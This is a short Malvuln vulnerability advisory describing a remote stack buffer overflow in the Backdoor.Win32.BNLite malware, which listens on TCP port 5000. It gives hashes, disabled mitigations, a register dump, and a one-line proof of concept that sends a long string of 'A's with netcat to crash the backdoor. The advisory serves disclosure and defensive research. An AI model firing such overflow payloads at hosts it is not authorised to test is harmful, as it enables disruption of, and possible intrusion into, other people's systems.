Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/0d1f873f6816debd244e1e77509f6ba7.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BNLite Vulnerability: Remote Stack Buffer Overflow Description: BioNet Lite Server 4.0a listens on TCP port 5000. Third-party attackers who can reach an infected system can trigger a buffer overflow overwriting the ECX, EDX and AX (16-bit) registers by sending a long junk payload. Family: BNLite Type: PE32 MD5: 0d1f873f6816debd244e1e77509f6ba7 Vuln ID: MVID-2022-0502 Dropped files: procmon.exe ASLR: False DEP: False CFG: False Safe SEH: False Disclosure: 03/03/2022 Memory Dump: EAX : 00004141 EBX : 027BD120 ECX : 41414141 EDX : 41414141 EBP : 0019FC08 ESP : 0019FA48 ESI : 027BD128 EDI : 02780000 EIP : 776E2D6A ntdll.776E2D6A Exploit/PoC: C:\>python -c "print('A'*10000)" | nc64.exe x.x.x.x 5000 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).